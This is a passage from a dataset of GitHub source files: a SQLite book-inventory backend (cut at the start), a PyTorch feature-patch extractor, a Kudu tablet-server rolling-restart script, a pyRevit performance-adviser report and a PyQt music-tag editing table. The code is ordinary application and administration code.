isbn, id))\n\n    connection.commit()\n    connection.close()\n\n\ndef delete(id):\n    connection = sq.connect(\"Books.db\")\n    cursor = connection.cursor()\n    cursor.execute(\"DELETE FROM books WHERE id=?\", (id,))\n    connection.commit()\n    connection.close()\n\n\nconnect()\n","repo_name":"Iftekhar016/Inventory-Management-App","sub_path":"dbProject_backend_v1.py","file_name":"dbProject_backend_v1.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20027184981","text":"import torch\n\n\nclass NeuralPatches():\n\n    def __init__(self, block_size, block_stride, num_output_plane,\n                 flag_all, device):\n        super(NeuralPatches, self).__init__()\n        self.block_size = block_size\n        self.block_stride = block_stride\n        self.num_output_plane = num_output_plane\n        self.flag_all = flag_all\n        self.device = device\n\n    def compute_patches(self, target_copies, net):\n        x_per_image, y_per_image, target_image_len = self.target_per_image(\n            target_copies, net)\n        print('Number of target patches: {}'.format(\n            target_image_len))\n        \n        target_patches = torch.Tensor(\n            target_image_len,\n            self.num_output_plane,\n            self.block_size,\n            self.block_size)\n        target_patches = target_patches.to(device=self.device)\n        \n        patch_num = 0\n        for copy_idx, target_copie in enumerate(target_copies):\n            feature_map = net(target_copie.unsqueeze(0)).clone()\n            \n            x_per_image_len = x_per_image[copy_idx].size()[0]\n            for patch_per_image in range(x_per_image_len):\n                y_start = int(\n                    y_per_image[copy_idx][patch_per_image].item())\n                y_end = y_start + self.block_size\n                x_start = int(\n                    x_per_image[copy_idx][patch_per_image].item())\n                x_end = x_start + self.block_size\n\n                target_patches[patch_num] = feature_map[\n                    0, :, y_start:y_end, x_start:x_end]\n                patch_num = patch_num + 1\n\n        return target_patches\n\n    def target_per_image(self, target_copies, net):\n        target_x_per_image = []\n        target_y_per_image = []\n        target_image_len = 0\n        for target_copie in target_copies:\n            feature_map = net(target_copie.unsqueeze(0)).clone()\n\n            target_x, target_y = self.compute_grid(\n                feature_map.size()[3], feature_map.size()[2])\n\n            target_size = len(target_x) * len(target_y)\n            x_per_image = torch.Tensor(target_size)\n            y_per_image = torch.Tensor(target_size)\n            count = 0\n            for row in range(len(target_y)):\n                for col in range(len(target_x)):\n                    x_per_image[count] = target_x[col]\n                    y_per_image[count] = target_y[row]\n                    count += 1\n            \n            target_x_per_image.append(x_per_image)\n            target_y_per_image.append(y_per_image)\n            \n            target_image_len += target_size\n\n        return target_x_per_image, target_y_per_image, target_image_len\n\n    def coord_block(self, dim):\n        coord_block = torch.arange(0, dim-self.block_size, self.block_stride)\n        if self.flag_all:\n            if coord_block[-1] < dim - self.block_size:\n                tail = torch.LongTensor(1)\n                tail[0] = dim - self.block_size\n                coord_block = torch.cat((coord_block, tail))\n        return coord_block\n\n    def compute_grid(self, width, height):\n        coord_block_y = self.coord_block(height)\n        coord_block_x = self.coord_block(width)\n        return coord_block_x, coord_block_y","repo_name":"danvalle/Markovian-Generative-Adversarial-Networks","sub_path":"src/utils/neural_patches.py","file_name":"neural_patches.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"12064392245","text":"# coding=utf-8\nimport re\nimport time\n\nfrom collections import OrderedDict\nfrom extractor import Extractor\nfrom maintenance import Maintenance\nfrom control_service import ControlService\n\n\nclass KuduRollingRestart(object):\n    def __init__(self, masters, ambari_server, ambari_pwd):\n        self._masters = masters\n        self._ambari_server = ambari_server\n        self._ambari_pwd = ambari_pwd\n\n    def start(self):\n        extractor = Extractor(self._masters)\n        maintenance = Maintenance(self._masters)\n        control = ControlService(self._masters, self._ambari_server, self._ambari_pwd)\n\n        # Tablet Server 정보 추출\n        output_tserver = extractor.extract_tserver()\n\n        uuid_list = []\n        tserver_list = []\n        tserver_summaries = OrderedDict()\n        tserver_summaries[\"tserver_summaries\"] = []\n        for i in range(len(output_tserver['tserver_summaries'])):\n            uuid = output_tserver['tserver_summaries'][i]['uuid']\n            address = output_tserver['tserver_summaries'][i]['address']\n            hostname = re.sub(':7050', '', string=address)\n            tserver_summaries['tserver_summaries'].append({'uuid': uuid, 'hostname': hostname})\n            uuid_list.append(uuid)\n            tserver_list.append(hostname)\n\n        # 1) enter_maintenance 수행\n        # 2) ksck 에서 uuid 로 Tablet Server States 확인\n        # 3) quiesce 수행 /usr/hdp/current/kudu/bin/kudu tserver quiesce start <hostname>\n        # 4) Tablet Server 중지 -> 시작 (ambari api 사용 가능??)\n        # 5) bootstrapping\n        # 6) exit_maintenance 수행\n        # 7) ksck 에서 uuid 로 Tablet Server States 확인\n        print(\"Target Tablet Servers...\")\n        count_maintenance_mode = 0\n        for i in range(len(tserver_summaries['tserver_summaries'])):\n            uuid = tserver_summaries['tserver_summaries'][i]['uuid']\n            hostname = tserver_summaries['tserver_summaries'][i]['hostname']\n            ts_state = extractor.extract_tserver_state(uuid)\n            print(\"hostname: %s, uuid: %s, ts_state: %s\" % (hostname, uuid, ts_state))\n            if ts_state == \"MAINTENANCE_MODE\":\n                count_maintenance_mode = count_maintenance_mode + 1\n        if count_maintenance_mode == 0:\n            for i in range(len(tserver_summaries['tserver_summaries'])):\n                uuid = tserver_summaries['tserver_summaries'][i]['uuid']\n                hostname = tserver_summaries['tserver_summaries'][i]['hostname']\n                ts_state = extractor.extract_tserver_state(uuid)\n                if ts_state == \"NON_MAINTENANCE_MODE\":\n                    # 1) Kudu enter_maintenance 수행\n                    maintenance.enter_maintenance(uuid)\n                    # 1-1) enter_maintenance 수행 완료 여부 체크\n                    i = 0\n                    while i < 3:\n                        time.sleep(3)\n                        ts_state = extractor.extract_tserver_state(uuid)\n                        if ts_state == \"MAINTENANCE_MODE\":\n                            break\n                        i += 1\n                    if ts_state == \"MAINTENANCE_MODE\":\n                        # 2) quiesce 수행\n                        maintenance.enter_quiesce(hostname)\n                        # 2-1) quiesce 수행 완료 여부 체크\n                        t_leaders = extractor.extract_tablet_leaders(uuid)\n                        while t_leaders != \"0\":\n                            time.sleep(3)\n                            t_leaders = extractor.extract_tablet_leaders(uuid)\n                            print(\"Tablet Leaders: %s\" % t_leaders)\n                        if t_leaders == \"0\":\n                            cluster_name = control.get_cluster_name()\n                            # 3) Ambari Maintenance Mode: ON\n                            # TODO: Ambari maintenance 수행 후 Ambari API로 Tablet Server 중지 실행 무응답 현상 확인\n                            # check_mode = control.set_maintenance_node(ambari_server, cluster_name, hostname, \"ON\")\n                            # 4) Tablet Server 중지\n                            # if check_mode == \"ON\":\n                            control.stop_tserver(cluster_name, hostname)\n                            # 5) Tablet Server 시작\n                            control.start_tserver(cluster_name, hostname)\n                            # 6) Bootstrapping 완료 확인\n                            time.sleep(3*60)\n                            while True:\n                                bootstrap_cnt = extractor.extract_bootstrap_count()\n                                if bootstrap_cnt == \"0\":\n                                    print(\"Bootstrapping is completed\")\n                                    break\n                                else:\n                                    time.sleep(30)\n                            # 7) Kudu exit_maintenance 수행\n                            maintenance.exit_maintenance(uuid)\n                            time.sleep(5)\n                            # 8) Tablet Server States 확인\n                            ts_state = extractor.extract_tserver_state(uuid)\n                            # 9) Ambari Maintenance Mode: OFF\n                            if ts_state == \"NON_MAINTENANCE_MODE\":\n                                # check_mode = control.set_maintenance_node(ambari_server, cluster_name, hostname, \"OFF\")\n                                print(\"%s restart is complete\" % hostname)\n                                time.sleep(60)\n                            else:\n                                print(\"Something is wrong...\")\n                                break\n                        else:\n                            raise Exception(\"Please check quiesce...\")\n                    else:\n                        raise Exception(\"The enter_maintenance command was not performed normally.\")\n                else:\n                    raise Exception(\"Please check this Tablet Server...(%s, %s, %s)\" % (hostname, uuid, ts_state))\n        else:\n            raise Exception(\"There is already a Tablet Server with MAINTENANCE_MODE.\")","repo_name":"loganseo/kudu-tools","sub_path":"python/action/rolling_restart.py","file_name":"rolling_restart.py","file_ext":"py","file_size_in_byte":6121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"34318716517","text":"import clr, xlsxwriter, re\nclr.AddReference('RevitAPI')\nclr.AddReference('RevitAPIUI')\nclr.AddReference(\"System\")\nfrom Autodesk.Revit.DB import Document,FilteredElementCollector, PerformanceAdviser, FamilySymbol\nclr. AddReferenceByPartialName('PresentationCore')\nclr.AddReferenceByPartialName('PresentationFramework')\nclr.AddReferenceByPartialName('System.Windows.Forms')\nuidoc = __revit__.ActiveUIDocument\ndoc = __revit__.ActiveUIDocument.Document\nfrom pyrevit.framework import List\nfrom pyrevit import revit, DB\nimport os\nfrom collections import defaultdict\nfrom pyrevit import script\nfrom pyrevit import forms\n\n__doc__ = 'Print performance issues, advices and instances counts.'\n\ntext = []\ndef PerformanceCollector(doc):\n    out = []\n    all = []\n    pTypes = PerformanceAdviser.GetPerformanceAdviser().GetAllRuleIds()\n    failureMessages = PerformanceAdviser.GetPerformanceAdviser().ExecuteRules(doc, pTypes)\n    print('Below are all performance adviser categories: ' + str(len(failureMessages)))\n    for i in failureMessages:\n        all.append(i.GetDescriptionText())\n        if not str(i.GetDescriptionText()) in text:\n            text.append(i.GetDescriptionText())\n    for t in text:\n        print(t + '--------' + str(all.count(t)) + ' Instances in model.')\n    return out\n\nPerformanceCollector(doc)\n\n\n\n\n","repo_name":"tkahng/nerv_pyrevit","sub_path":"CustomExtension.extension/Nerv.tab/Fix Warnings.panel/Performance.pulldown/Overview.pushbutton/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"34016250224","text":"import stat\nfrom Core import Organizer\nimport FileUtils as fu\nimport SearchEngines\nfrom Core.MyObjects import *\nimport Details\nfrom Core import Universals as uni\nfrom Core import Dialogs\nimport Taggers\nfrom Core import Records\nfrom Core import ReportBug\nfrom Tables import CoreTable\n\n\nclass MusicTable(CoreTable):\n    def __init__(self, *args, **kwargs):\n        CoreTable.__init__(self, *args, **kwargs)\n        self.keyName = \"music\"\n        self.hiddenTableColumnsSettingKey = \"hiddenMusicTableColumns\"\n        self.refreshColumns()\n        pbtnVerifyTableValues = MPushButton(translate(\"MusicTable\", \"Verify Table\"))\n        pbtnVerifyTableValues.setMenu(SearchEngines.SearchEngines(self, \"music\"))\n        self.mContextMenu.addMenu(SearchEngines.SearchEngines(self, \"music\", True))\n        self.hblBoxOptions.addWidget(pbtnVerifyTableValues)\n        lblTagger = MLabel(translate(\"MusicTable\", \"Tag Module:\"))\n        taggerMachineNames, taggerNames = Taggers.getTaggerNames()\n        self.cbTagger = MyComboBox()\n        self.cbTagger.addDataItems(taggerMachineNames, taggerNames)\n        self.cbTagger.setCurrentIndex(\n            self.cbTagger.findText(Taggers.getTaggerName(uni.MySettings[\"preferedTaggerModule\"])))\n        self.cbTagger.setToolTip(translate(\"MusicTable\",\n                                           \"You can select the ID3 tag module you want to use.<br><font color=blue>Mutagen is recommended.</font>\"))\n        hblTagger = MHBoxLayout()\n        hblTagger.addWidget(lblTagger)\n        hblTagger.addWidget(self.cbTagger)\n        lblTagger.setMaximumWidth(100)\n        self.cbTagger.setMaximumWidth(100)\n        self.hblBoxTools.addLayout(hblTagger)\n        MObject.connect(self.cbTagger, SIGNAL(\"currentIndexChanged(int)\"), self.cbTaggerChanged)\n\n    def refreshColumns(self):\n        self.tableColumns = Taggers.getTagger().getAvailableLabelsForTable()\n        self.tableColumnsKey = Taggers.getTagger().getAvailableKeysForTable()\n        self.tableReadOnlyColumnsKey = Taggers.getTagger().getReadOnlyKeysForTable()\n        self.tableColumns += [\n            translate(\"FileTable\", \"Size\"),\n            translate(\"FileTable\", \"Last Accessed\"),\n            translate(\"FileTable\", \"Last Modified\"),\n            translate(\"FileTable\", \"Last Metadata Changed\")\n        ]\n        self.tableColumnsKey += [\"size\", \"lastAccessed\", \"lastModified\", \"lastMetadataChanged\"]\n        self.tableReadOnlyColumnsKey += [\"size\", \"lastAccessed\", \"lastModified\", \"lastMetadataChanged\"]\n\n    def saveTable(self):\n        Details.closeAllDialogs()\n        self.checkFileExtensions(\"baseName\", \"baseName\")\n        return self.writeContents()\n\n    def refreshTable(self, _path):\n        self.values = []\n        self.setColumnWidth(6, 70)\n        self.setColumnWidth(7, 40)\n        musicFileNames = fu.readDirectory(_path, \"music\", uni.getBoolValue(\"isShowHiddensInMusicTable\"))\n        isCanNoncompatible = False\n        allItemNumber = len(musicFileNames)\n        uni.startThreadAction()\n        baseNameOfDirectory = fu.getBaseName(_path)\n        rowNo = 0\n        self.setRowCount(allItemNumber)\n        for baseName in musicFileNames:\n            isContinueThreadAction = uni.isContinueThreadAction()\n            if isContinueThreadAction:\n                try:\n                    if fu.isReadableFileOrDir(fu.joinPath(_path, baseName), False, True):\n                        tagger = Taggers.getTagger()\n                        try:\n                            tagger.loadFile(fu.joinPath(_path, baseName))\n                        except:\n                            Dialogs.showError(translate(\"FileUtils/Musics\", \"Incorrect Tag\"),\n                                              str(translate(\"FileUtils/Musics\",\n                                                            \"\\\"%s\\\" : this file has the incorrect tag so can't read tags.\")\n                                              ) % Organizer.getLink(fu.joinPath(_path, baseName)))\n                        if tagger.isAvailableFile() is False:\n                            isCanNoncompatible = True\n                        details = fu.getDetails(fu.joinPath(_path, baseName))\n                        content = {}\n                        content[\"path\"] = fu.joinPath(_path, baseName)\n                        content[\"baseNameOfDirectory\"] = baseNameOfDirectory\n                        content[\"baseName\"] = baseName\n                        content[\"artist\"] = tagger.getArtist()\n                        content[\"title\"] = tagger.getTitle()\n                        content[\"album\"] = tagger.getAlbum()\n                        content[\"albumArtist\"] = tagger.getAlbumArtist()\n                        content[\"trackNum\"] = tagger.getTrackNum()\n                        content[\"year\"] = tagger.getYear()\n                        content[\"genre\"] = tagger.getGenre()\n                        content[\"firstComment\"] = tagger.getFirstComment()\n                        content[\"firstLyrics\"] = tagger.getFirstLyrics()\n                        if tagger.isSupportInfo:\n                            content[\"length\"] = tagger.getLength()\n                            content[\"bitrate\"] = tagger.getBitrate()\n                            content[\"sampleRate\"] = tagger.getSampleRate()\n                            content[\"mode\"] = tagger.getMode()\n                        content[\"size\"] = details[stat.ST_SIZE]\n                        content[\"lastAccessed\"] = details[stat.ST_ATIME]\n                        content[\"lastModified\"] = details[stat.ST_MTIME]\n                        content[\"lastMetadataChanged\"] = details[stat.ST_CTIME]\n                        self.values.append(content)\n                        newBaseNameOfDirectory = Organizer.emend(self.values[rowNo][\"baseNameOfDirectory\"], \"directory\")\n                        self.createItem(rowNo, \"baseNameOfDirectory\", newBaseNameOfDirectory,\n                                        self.values[rowNo][\"baseNameOfDirectory\"])\n\n                        newBaseName = Organizer.emend(self.values[rowNo][\"baseName\"], \"file\")\n                        self.createItem(rowNo, \"baseName\", newBaseName, self.values[rowNo][\"baseName\"])\n\n                        newArtist = Organizer.emend(self.values[rowNo][\"artist\"])\n                        self.createItem(rowNo, \"artist\", newArtist, self.values[rowNo][\"artist\"])\n\n                        newTitle = Organizer.emend(self.values[rowNo][\"title\"])\n                        self.createItem(rowNo, \"title\", newTitle, self.values[rowNo][\"title\"])\n\n                        newAlbum = Organizer.emend(self.values[rowNo][\"album\"])\n                        self.createItem(rowNo, \"album\", newAlbum, self.values[rowNo][\"album\"])\n\n                        newAlbumArtist = Organizer.emend(self.values[rowNo][\"albumArtist\"])\n                        self.createItem(rowNo, \"albumArtist\", newAlbumArtist, self.values[rowNo][\"albumArtist\"])\n\n                        newTrackNum = str(self.values[rowNo][\"trackNum\"])\n                        self.createItem(rowNo, \"trackNum\", newTrackNum, self.values[rowNo][\"trackNum\"])\n\n                        newYear = Organizer.emend(self.values[rowNo][\"year\"])\n                        self.createItem(rowNo, \"year\", newYear, self.values[rowNo][\"year\"])\n\n                        newGenre = Organizer.emend(self.values[rowNo][\"genre\"])\n                        self.createItem(rowNo, \"genre\", newGenre, self.values[rowNo][\"genre\"])\n\n                        newFirstComment = Organizer.emend(self.values[rowNo][\"firstComment\"])\n                        self.createItem(rowNo, \"firstComment\", newFirstComment, self.values[rowNo][\"firstComment\"])\n\n                        newFirstLyrics = Organizer.emend(self.values[rowNo][\"firstLyrics\"])\n                        self.createItem(rowNo, \"firstLyrics\", newFirstLyrics, self.values[rowNo][\"firstLyrics\"])\n\n                        if tagger.isSupportInfo:\n                            self.createItem(rowNo, \"length\", content[\"length\"])\n                            self.createItem(rowNo, \"bitrate\", content[\"bitrate\"])\n                            self.createItem(rowNo, \"sampleRate\", content[\"sampleRate\"])\n                            self.createItem(rowNo, \"mode\", content[\"mode\"])\n\n                        self.createItem(rowNo, \"size\", Organizer.getCorrectedFileSize(content[\"size\"]))\n\n                        self.createItem(rowNo, \"lastAccessed\", Organizer.getCorrectedTime(content[\"lastAccessed\"]))\n\n                        self.createItem(rowNo, \"lastModified\", Organizer.getCorrectedTime(content[\"lastModified\"]))\n\n                        self.createItem(rowNo, \"lastMetadataChanged\",\n                                        Organizer.getCorrectedTime(content[\"lastMetadataChanged\"]))\n\n                        rowNo += 1\n                    else:\n                        allItemNumber -= 1\n                except:\n                    ReportBug.ReportBug()\n                    allItemNumber -= 1\n            else:\n                allItemNumber = rowNo\n            Dialogs.showState(translate(\"Tables\", \"Generating Table...\"), rowNo, allItemNumber, True)\n            if isContinueThreadAction is False:\n                break\n        uni.finishThreadAction()\n        self.setRowCount(len(self.values))  # In case of Non Readable Files and Canceled process\n        if isCanNoncompatible:\n            Dialogs.show(translate(\"FileUtils/Musics\", \"Possible ID3 Mismatch\"),\n                         translate(\"FileUtils/Musics\",\n                                   \"Some of the files presented in the table may not support ID3 technology.<br>Please check the files and make sure they support ID3 information before proceeding.\"))\n\n    def writeContents(self):\n        self.changedValueNumber = 0\n        oldAndNewPathValues = []\n        changingTags = []\n        isNewDirectoriesSame = True\n        isMovedToNewDirectory = False\n        currentDirectoryPath = \"\"\n        newDirectoryPath = \"\"\n        if uni.isActiveAmarok and uni.getBoolValue(\"isMusicTableValuesChangeInAmarokDB\"):\n            import Amarok\n\n            if Amarok.checkAmarok(True, False) is False:\n                return False\n        uni.startThreadAction()\n        allItemNumber = len(self.values)\n        Dialogs.showState(translate(\"FileUtils/Musics\", \"Writing Music Tags\"), 0, allItemNumber, True)\n        for rowNo in range(self.rowCount()):\n            isContinueThreadAction = uni.isContinueThreadAction()\n            if isContinueThreadAction:\n                try:\n                    changingTag = {\"path\": self.values[rowNo][\"path\"]}\n                    if fu.isWritableFileOrDir(self.values[rowNo][\"path\"], False, True):\n                        if self.isRowHidden(rowNo):\n                            fu.removeFileOrDir(self.values[rowNo][\"path\"])\n                            self.changedValueNumber += 1\n                        else:\n                            baseNameOfDirectory = str(\n                                self.values[rowNo][\"baseNameOfDirectory\"])\n                            baseName = str(self.values[rowNo][\"baseName\"])\n                            tagger = Taggers.getTagger()\n                            tagger.loadFileForWrite(self.values[rowNo][\"path\"])\n                            isCheckLike = (tagger.isNeedUpdate or\n                                           (uni.isActiveAmarok and\n                                            uni.getBoolValue(\"isMusicTableValuesChangeInAmarokDB\")))\n                            if self.isChangeableItem(rowNo, \"artist\", self.values[rowNo][\"artist\"], True, isCheckLike):\n                                value = str(self.item(rowNo, 2).text())\n                                tagger.setArtist(value)\n                                changingTag[\"artist\"] = value\n                                Records.add(str(translate(\"MusicTable\", \"Artist\")),\n                                            str(self.values[rowNo][\"artist\"]), value)\n                                self.changedValueNumber += 1\n                            if self.isChangeableItem(rowNo, \"title\", self.values[rowNo][\"title\"], True, isCheckLike):\n                                value = str(self.item(rowNo, 3).text())\n                                tagger.setTitle(value)\n                                changingTag[\"title\"] = value\n                                Records.add(str(translate(\"MusicTable\", \"Title\")),\n                                            str(self.values[rowNo][\"title\"]), value)\n                                self.changedValueNumber += 1\n                            if self.isChangeableItem(rowNo, \"album\", self.values[rowNo][\"album\"], True, isCheckLike):\n                                value = str(self.item(rowNo, 4).text())\n                                tagger.setAlbum(value)\n                                changingTag[\"album\"] = value\n                                Records.add(str(translate(\"MusicTable\", \"Album\")),\n                                            str(self.values[rowNo][\"album\"]), value)\n                                self.changedValueNumber += 1\n                            if self.isChangeableItem(rowNo, \"albumArtist\", self.values[rowNo][\"albumArtist\"], True,\n                                                     isCheckLike):\n                                value = str(self.item(rowNo, 5).text())\n                                tagger.setAlbumArtist(value)\n                                changingTag[\"albumArtist\"] = value\n                                Records.add(str(translate(\"MusicTable\", \"Album Artist\")),\n                                            str(self.values[rowNo][\"albumArtist\"]), value)\n                                self.changedValueNumber += 1\n                            if self.isChangeableItem(rowNo, \"trackNum\", self.values[rowNo][\"trackNum\"],\n                                                     True, isCheckLike):\n                                value = str(self.item(rowNo, 6).text())\n                                tagger.setTrackNum(value)\n                                changingTag[\"trackNum\"] = value\n                                Records.add(str(translate(\"MusicTable\", \"Track No\")),\n                                            str(self.values[rowNo][\"trackNum\"]), value)\n                                self.changedValueNumber += 1\n                            if self.isChangeableItem(rowNo, \"year\", self.values[rowNo][\"year\"], True, isCheckLike):\n                                value = str(self.item(rowNo, 7).text())\n                                tagger.setDate(value)\n                                changingTag[\"year\"] = value\n                                Records.add(str(translate(\"MusicTable\", \"Year\")),\n                                            str(self.values[rowNo][\"year\"]), value)\n                                self.changedValueNumber += 1\n                            if self.isChangeableItem(rowNo, \"genre\", self.values[rowNo][\"genre\"], True, isCheckLike):\n                                value = str(self.item(rowNo, 8).text())\n                                tagger.setGenre(value)\n                                changingTag[\"genre\"] = value\n                                Records.add(str(translate(\"MusicTable\", \"Genre\")),\n                                            str(self.values[rowNo][\"genre\"]), value)\n                                self.changedValueNumber += 1\n                            if self.isChangeableItem(rowNo, \"firstComment\", self.values[rowNo][\"firstComment\"],\n                                                     True, isCheckLike):\n                                value = str(self.item(rowNo, 9).text())\n                                tagger.setFirstComment(value)\n                                changingTag[\"firstComment\"] = value\n                                Records.add(str(translate(\"MusicTable\", \"Comment\")),\n                                            str(self.values[rowNo][\"firstComment\"]), value)\n                                self.changedValueNumber += 1\n                            if self.isChangeableItem(rowNo, \"firstLyrics\", self.values[rowNo][\"firstLyrics\"],\n                                                     True, isCheckLike):\n                                value = str(self.item(rowNo, 10).text())\n                                tagger.setFirstLyrics(value)\n                                changingTag[\"firstLyrics\"] = value\n                                Records.add(str(translate(\"MusicTable\", \"Lyrics\")),\n                                            str(self.values[rowNo][\"firstLyrics\"]), value)\n                                self.changedValueNumber += 1\n                            if len(changingTag) > 1:\n                                changingTags.append(changingTag)\n                            tagger.update()\n                            if self.isChangeableItem(rowNo, \"baseNameOfDirectory\", baseNameOfDirectory):\n                                baseNameOfDirectory = str(self.item(rowNo, 0).text())\n                                self.changedValueNumber += 1\n                                isMovedToNewDirectory = True\n                                currentDirectoryPath = fu.getDirName(\n                                    self.values[rowNo][\"path\"])\n                                newDirectoryPath = fu.joinPath(\n                                    fu.getDirName(fu.getDirName(self.values[rowNo][\"path\"])),\n                                    baseNameOfDirectory)\n                                self.setNewDirectory(newDirectoryPath)\n                                if rowNo > 0:\n                                    if str(self.item(rowNo - 1, 0).text()) != baseNameOfDirectory:\n                                        isNewDirectoriesSame = False\n                            if self.isChangeableItem(rowNo, \"baseName\", baseName, False):\n                                baseName = str(self.item(rowNo, 1).text())\n                                self.changedValueNumber += 1\n                            newFilePath = fu.joinPath(\n                                fu.getDirName(fu.getDirName(self.values[rowNo][\"path\"])),\n                                baseNameOfDirectory, baseName)\n                            oldFilePath = fu.getRealPath(self.values[rowNo][\"path\"])\n                            newFilePath = fu.getRealPath(newFilePath)\n                            if oldFilePath != newFilePath:\n                                oldAndNewPaths = {}\n                                oldAndNewPaths[\"oldPath\"] = oldFilePath\n                                oldAndNewPaths[\"newPath\"] = fu.moveOrChange(oldFilePath, newFilePath, \"file\")\n                                if oldFilePath != oldAndNewPaths[\"newPath\"]:\n                                    oldAndNewPathValues.append(oldAndNewPaths)\n                                    oldDirName = fu.getDirName(oldFilePath)\n                                    if uni.getBoolValue(\"isClearEmptyDirectoriesWhenFileMove\"):\n                                        fu.checkEmptyDirectories(oldDirName, True, True,\n                                                                 uni.getBoolValue(\"isAutoCleanSubFolderWhenFileMove\"))\n                except:\n                    ReportBug.ReportBug()\n            else:\n                allItemNumber = rowNo + 1\n            Dialogs.showState(translate(\"FileUtils/Musics\", \"Writing Music Tags And Informations\"), rowNo + 1, allItemNumber, True)\n            if isContinueThreadAction is False:\n                break\n        uni.finishThreadAction()\n        if self.rowCount() == len(oldAndNewPathValues) and isMovedToNewDirectory and isNewDirectoriesSame:\n            otherFileNames = fu.readDirectory(currentDirectoryPath, \"fileAndDirectory\", True)\n            if len(otherFileNames) > 0:\n                answer = Dialogs.ask(translate(\"FileUtils/Musics\", \"There Are More Files\"),\n                                     str(translate(\"FileUtils/Musics\",\n                                                   \"\\\"%s\\\" : there are more files in this directory.<br>Are you want to move all found files into new directory?<br>New Directory : \\\"%s\\\"\")) % (\n                                         Organizer.getLink(currentDirectoryPath), Organizer.getLink(newDirectoryPath)))\n                if answer == Dialogs.Yes:\n                    uni.startThreadAction()\n                    allItemNumber = len(otherFileNames)\n                    for rowNo, fileName in enumerate(otherFileNames):\n                        isContinueThreadAction = uni.isContinueThreadAction()\n                        if isContinueThreadAction:\n                            try:\n                                oldFilePath = fu.getRealPath(fu.joinPath(currentDirectoryPath, fileName))\n                                newFilePath = fu.getRealPath(fu.joinPath(newDirectoryPath, fileName))\n                                if oldFilePath != newFilePath:\n                                    oldAndNewPaths = {}\n                                    oldAndNewPaths[\"oldPath\"] = oldFilePath\n                                    oldAndNewPaths[\"newPath\"] = fu.moveOrChange(oldFilePath, newFilePath,\n                                                                                fu.getObjectType(oldFilePath))\n                                    if oldFilePath != oldAndNewPaths[\"newPath\"]:\n                                        oldAndNewPathValues.append(oldAndNewPaths)\n                            except:\n                                ReportBug.ReportBug()\n                        else:\n                            allItemNumber = rowNo + 1\n                        Dialogs.showState(translate(\"FileUtils/Covers\", \"Writing Directory And File Informations\"),\n                                          rowNo + 1, allItemNumber, True)\n                        if isContinueThreadAction is False:\n                            break\n                    uni.finishThreadAction()\n                    if uni.getBoolValue(\"isClearEmptyDirectoriesWhenFileMove\"):\n                        fu.checkEmptyDirectories(currentDirectoryPath, True, True,\n                                                 uni.getBoolValue(\"isAutoCleanSubFolderWhenFileMove\"))\n                    if (uni.isActiveDirectoryCover and uni.getBoolValue(\"isActiveAutoMakeIconToDirectory\") and\n                            uni.getBoolValue(\"isAutoMakeIconToDirectoryWhenFileMove\")):\n                        fu.checkIcon(newDirectoryPath)\n        if uni.isActiveAmarok and uni.getBoolValue(\"isMusicTableValuesChangeInAmarokDB\"):\n            import Amarok\n            from Amarok import Operations\n\n            Operations.changeTags(changingTags)\n            if len(oldAndNewPathValues) > 0:\n                Operations.changePaths(oldAndNewPathValues, \"file\")\n        return True\n\n    def correctTable(self):\n        for rowNo in range(self.rowCount()):\n            for coloumKey in self.getWritableColumnKeys():\n                coloumNo = self.getColumnNoFromKey(coloumKey)\n                if self.isChangeableItem(rowNo, coloumKey):\n                    if coloumKey == \"baseNameOfDirectory\":\n                        newString = Organizer.emend(str(self.item(rowNo, coloumNo).text()), \"directory\")\n                    elif coloumKey == \"baseName\":\n                        newString = Organizer.emend(str(self.item(rowNo, coloumNo).text()), \"file\")\n                    else:\n                        newString = Organizer.emend(str(self.item(rowNo, coloumNo).text()))\n                    self.item(rowNo, coloumNo).setText(str(newString))\n\n    def showTableDetails(self, _fileNo, _infoNo):\n        Details.Details(self.values[_fileNo][\"path\"], uni.getBoolValue(\"isOpenDetailsInNewWindow\"))\n\n    def cellClickedTable(self, _row, _column):\n        currentItem = self.currentItem()\n        if currentItem is not None:\n            if _column == 9 or _column == 10:\n                if self.rowHeight(_row) < 150:\n                    self.setRowHeight(_row, 150)\n                if self.columnWidth(_column) < 250:\n                    self.setColumnWidth(_column, 250)\n            else:\n                cellLenght = len(currentItem.text()) * 8\n                if cellLenght > self.columnWidth(_column):\n                    self.setColumnWidth(_column, cellLenght)\n\n    def cellDoubleClickedTable(self, _row, _column):\n        try:\n            if _column == 9 or _column == 10:\n                self.showTableDetails(_row, _column)\n            else:\n                if uni.getBoolValue(\"isRunOnDoubleClick\"):\n                    self.showTableDetails(_row, _column)\n        except:\n            Dialogs.showError(translate(\"MusicTable\", \"Cannot Open Music File\"),\n                              str(translate(\"MusicTable\",\n                                            \"\\\"%s\\\" : cannot be opened. Please make sure that you selected a music file.\")\n                              ) % Organizer.getLink(self.values[_row][\"path\"]))\n\n    def cbTaggerChanged(self, _action=None):\n        try:\n            tagger = self.cbTagger.currentData()\n            if self.checkUnSavedValues():\n                uni.setMySetting(\"preferedTaggerModule\", tagger)\n                t = Taggers.getTagger(True, True)\n                self.refreshForColumns()\n                getMainWindow().SpecialTools.refreshForColumns()\n                self.refresh(getMainWindow().FileManager.getCurrentDirectoryPath())\n            self.cbTagger.setCurrentIndex(\n                self.cbTagger.findText(Taggers.getTaggerName(uni.MySettings[\"preferedTaggerModule\"])))\n        except:\n            ReportBug.ReportBug()\n","repo_name":"supermurat/hamsi-manager","sub_path":"Tables/MusicTable.py","file_name":"MusicTable.py","file_ext":"py","file_size_in_byte":25462,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
